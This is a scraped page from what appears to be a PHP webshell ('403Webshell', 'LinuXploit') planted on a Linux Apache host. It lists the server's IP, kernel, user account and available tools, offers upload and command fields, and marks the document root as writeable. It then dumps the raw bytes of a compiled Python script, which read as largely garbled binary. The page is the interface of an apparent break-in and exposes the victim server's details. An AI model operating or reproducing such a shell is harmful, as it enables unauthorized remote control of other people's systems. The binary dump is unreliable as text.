403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/objgraph.cpython-36.pyc
3

x2_g�@s�ddlZddlZddlZddlZdZdZdZejd�Zdd�Z	dd	�Z
iZiZiZ
iZd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zedkr�yeje��Wnek
r�ejd�YnXdS)�NZ	TRGDSBAECZUVZNntrgdsbavucz(.*):	?........ (.) (.*)$cCs&||kr||j|�n
|g||<dS)N)�append)�dict�key�item�r�;/opt/alt/python36/lib64/python3.6/Tools/scripts/objgraph.py�store)srcCs*d}x|D]}|d|}q
W|dd�S)N�� �r)�list�srrrr�flat2s
rc
Cs�x�|j�}|sPtj|�dkr$|qtjdd�\\}}\}}\}}\}}	|||�|||	�|||�}
}}|tkr�tt||
�tt|
|�q|tkr�tt	|
|�tt
||
�q|tkrt|
d|d|�qWdS)Nr��:z: unknown type )
�readline�matcher�search�regs�definitionsr�def2file�file2def�	externals�
file2undef�
undef2file�ignore�print)
�fpr
Zra�rbZr1aZr1bZr2aZr2bZr3aZr3b�fn�name�typerrr�	readinputBs"&(r"cCs�ttj��}x�|D]~}t|d�t|}|j�x\|D]T}t|�dkrNd}nd}|tkrptd||d�q8td||tt|��q8WqWdS)Nr��	z		z *undefined)�sortedr�keysr�sort�lenrr)�flist�filename�elist�extZtabsrrr�printcalleeXs

r-cCs�ttj��}x�|D]~}g}x$t|D]}|tkr$|t|}q$W|r�|j�t|d�d}x2|D]}||krztd|�|}qbWqt|d�qWdS)Nrr	r$z: unused)r%rr&rr'r)�filesr*ZcallersZlabelZlastfnrrrr�printcallerjs


r/cCs�i}x:ttj��D]*}x$t|D]}|tkr t|||�q WqWt|j��}x>|D]6}t|d�t||�}x|D]}td|�qtWqRWdS)Nrr$)rrr&rrr%r)Zundefsr*r,r+r)rrr�
printundef~s

r0cCsbtj}tjt_ttj��}x<|D]4}tt|�dkr td|ddd�ttt|��q W|t_dS)Nrzwarning:zmultiply defined:r
)�end)	�sys�stdout�stderrr%rr&r(rr)Z
savestdout�namesr rrr�warndups�s
r6c	
Cs�ytjtjdd�d�\}}Wnrtjk
r�tjt_tdtjj	tjd�dd�td�td�td	�td
�td�td�td
�dSXd}}}x8|D]0\}}|dkr�d}q�|dkr�d}q�|dkr�d}q�W||ko�|ko�dkn�rd}}}|�sdg}x2|D]*}|dk�r4t
tj�nt
t|d���qWt
�|||dk}|�rx|�rrtd�t�|�r�|�r�td�t�|�r�|�r�td�t�dS)NrZcduzUsage:rr
)r1z[-cdu] [file] ...z -c: print callers per objectfilez -d: print callees per objectfilez$-u: print usage of undefined symbolsz.If none of -cdu is specified, all are assumed.z6Use "nm -o" to generate the input (on IRIX: "nm -Bo"),z"e.g.: nm -o /lib/libc.a | objgraphz-uz-cz-d�-�rz,---------------All callees------------------z,---------------Undefined callees------------z,---------------All Callers------------------)�getoptr2�argv�errorr4r3r�os�path�basenamer"�stdin�openr6r-r0r/)	Zoptlist�argsZoptuZoptcZoptdZopt�voidr*Zmorerrr�main�sX$

rC�__main__r)r2r<r9�rerrr�compilerrrrrrrr"r-r/r0r6rC�__name__�exit�KeyboardInterruptrrrr�<module>s0
	5

Youez - 2016 - github.com/yon3zu
LinuXploit